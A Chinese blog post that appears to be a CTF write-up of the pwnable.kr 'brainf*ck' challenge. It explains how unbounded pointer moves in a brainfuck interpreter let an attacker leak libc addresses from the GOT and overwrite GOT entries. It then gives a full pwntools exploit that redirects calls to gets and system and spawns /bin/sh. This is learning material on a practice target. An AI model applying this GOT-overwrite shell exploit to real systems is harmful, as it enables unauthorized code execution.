pwnable.kr之brainf*ck

今天又是被难倒的一天Orz,个人感觉pwnable.kr上的题都比较剑走偏锋,仔细做过去,一定会有很大的收获。

不多说了,今天看的是第二关的第一道题:brainf*ck。这道题实现了一个brainfuck解释器,从思路上来讲可以说是很秀了,核心思想是通过对指针的操作来改写got.plt表,从而劫持数据流。程序结构比较简单,我们先通过IDA看一下程序的结构。

brainf*ck这个函数里面,如果输入是一些特殊符号,会对p这个指针进行一个操作,p这个指针位于bss段。

这里看到不仅有一个p指针,还有一个tape指针,tape这个指针我们通过静态分析没办法直观的知道他的作用,这时候用gdb动态调试一下,在brainfuck函数的break处下一个断点,然后只输入一下特定的几个字符,只观察bss段的内容,就可以清晰地看出:p指针处存放的是tape的地址,tape处存放的是值。brainfuck里面,">","<"是对p指针进行操作,“+”,“-”是对指针指向的地址上的值进行操作。

到这里我没有思路,卡住了。

这里我觉得这道题的精华来了:可输入空间很大,但是got.plt表和bss段之间的距离很小,同时,它让我们可以对指针进行操作,但是没有规定操作的范围。所以,可以通过do_brainfunck函数来修改got.plt表的内容。

覆写got表那里,应该是这样的操作:,>

写入一个值,然后指针移动一个字节,写入下一个字节

泄露地址的时候,应该是这样的操作:.>

输出一个值,然后指针移动一个字节,输出下一个字节

程序在进入do_brainfuck函数之前,调用过puts函数的地址,所以got.plt表中有puts函数的实际地址

from pwn import *

context.log_level='debug'
DEBUG=1
if DEBUG:
io=process('./bf')
else:
io=remote('pwnable.kr',9001) elf=ELF('./bf')
libc=ELF('./bf_libc.so') tape_addr=0x0804A0A0
fgets_addr=0x08048450
main_addr=0x08048671
strlen_addr=0x0804A020
putchar_addr=0x0804A030
memset_addr=0x0804A02C gets_sym=libc.sym['gets']
system_sym=libc.sym['system']
puts_sym=libc.sym['puts'] payload=''
payload+='<'*(tape_addr-putchar_addr)
payload+='.'
payload+='.>.>.>.>'
payload+='<<<<'+',>,>,>,>'
payload+='<<<<'*4+',>,>,>,>'+'<<<<'
payload+='<'*(strlen_addr-fgets_addr)+',>,>,>,>'
payload+='<'*(putchar_addr-fgets_addr+4)
payload+='.' io.recv()
io.send(payload)
io.recv(1)
putchar_addr=u32(io.recv(4))
offset1=system_sym-putchar_addr
offset2=gets_sym-putchar_addr
system_addr=putchar_addr+offset1
gets_addr=putchar_addr+offset2
io.send(p32(main_addr))
io.send(p32(gets_addr))
io.send(p32(system_addr)) io.sendline('/bin/sh\x00')
io.interactive()

发送地址的时候有EOFError的问题,还没有想明白,根据别人的wp复现了。

先放在这里,看看有哪位路过的师傅能不能帮我解答,或者以后我想明白了再改吧。

pwnable.kr之brainf*ck的更多相关文章

  1. pwnable.kr brainfuck之write up

    I made a simple brain-fuck language emulation program written in C. The [ ] commands are not impleme ...

  2. 【pwnable.kr】 brainfuck

    pwnable.kr第二关第一题: ========================================= Download : http://pwnable.kr/bin/bfDownl ...

  3. pwnable.kr的passcode

    前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下 ...

  4. pwnable.kr bof之write up

    这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: #include <stdio.h> #include <string.h> #include <st ...

  5. pwnable.kr col之write up

    Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh col@pwnab ...

  6. pwnable.kr login之write up

    main函数如下: auth函数如下: 程序的流程如下: 输入Authenticate值,并base64解码,将解码的值代入md5_auth函数中 mad5_auth()生成其MD5值并与f87cd6 ...

  7. pwnable.kr详细通关秘籍(二)

    i春秋作家:W1ngs 原文来自:pwnable.kr详细通关秘籍(二) 0x00 input 首先看一下代码: 可以看到程序总共有五步,全部都满足了才可以得到flag,那我们就一步一步来看 这道题考 ...

  8. pwnable.kr simple login writeup

    这道题是pwnable.kr Rookiss部分的simple login,需要我们去覆盖程序的ebp,eip,esp去改变程序的执行流程   主要逻辑是输入一个字符串,base64解码后看是否与题目 ...

  9. pwnable.kr第二天

    3.bof 这题就是简单的数组越界覆盖,直接用gdb 调试出偏移就ok from pwn import * context.log_level='debug' payload='A'*52+p32(0 ...

随机推荐

  1. hdu1233 最小生成树Prim算法和Kruskal算法

    Prim算法 时间复杂度:O(\(N^2\),N为结点数) 说明:先任意找一个点标记,然后每次找一条最短的两端分别为标记和未标记的边加进来,再把未标记的点标记上.即每次加入一条合法的最短的边,每次扩展 ...

  2. excel函数提取身份证出生日期,分离日期时间的日期和时间

    1.提取身份证出生日期 =1*TEXT(MID(H13,7,8),"0-00-00")用MID函数提取表示日期的位数,再用text函数转换为格式1998-6-21格式的文本,再通过 ...

  3. 分布式AKF拆分原则

    1. 前言 当我们需要分布式系统提供更强的性能时,该怎样扩展系统呢?什么时候该加机器?什么时候该重构代码?扩容时,究竟该选择哈希算法还是最小连接数算法,才能有效提升性能? 在面对 Scalabilit ...

  4. 全新安装Windows版 Atlassian Confluence 7.3.1 + MySQL 8.0,迁移数据,并设置服务自启

    Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki.使用简单,但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息.文档协作.集体讨论,信息推送. 安装Conflu ...

  5. 21、linux系统grup和bios加密

    21.1.grup加密(加密单用户模式): 1.使用加密算法对grup密码进行加密: 2.修改grup.conf配置文件: 21.2.bios加密(因为救援模式可以破解grup加密,所以使用bios加 ...

  6. hdu 3397 Sequence operation 线段树 区间更新 区间合并

    题意: 5种操作,所有数字都为0或1 0 a b:将[a,b]置0 1 a b:将[a,b]置1 2 a b:[a,b]中的0和1互换 3 a b:查询[a,b]中的1的数量 4 a b:查询[a,b ...

  7. AcWing 242. 一个简单的整数问题

    给定长度为N的数列A,然后输入M行操作指令. 第一类指令形如"C l r d",表示把数列中第l~r个数都加d. 第二类指令形如"Q X",表示询问数列中第x个 ...

  8. spring boot.2x 集成swagger 加入拦截器后 swagger不能访问

    忽略掉 swagger-resources下面的请求 以及忽略掉 v2下面的请求即可 转自:https://blog.csdn.net/hanwenyi520/article/details/7989 ...

  9. JAVA WEB 用servlet实现分页,思路比较清晰和简单。

    JAVA WEB 用servlet实现分页,思路比较清晰和简单.借鉴了其他大佬的思路.特别感谢. 是我第一次发表博客,如果有什么错误,欢迎大家指出!,谢谢 一.思路分析 前台一定是有类似这种的界面 点 ...

  10. 关于kong | API Gateway

    目录 为什么需要 API 网关(more) kong的概念 为什么使用Kong Kong 的管理方式 高可扩展性的背后-插件机制 [前言]: Kong是一个云原生,高效,可扩展的分布式 API 网关. ...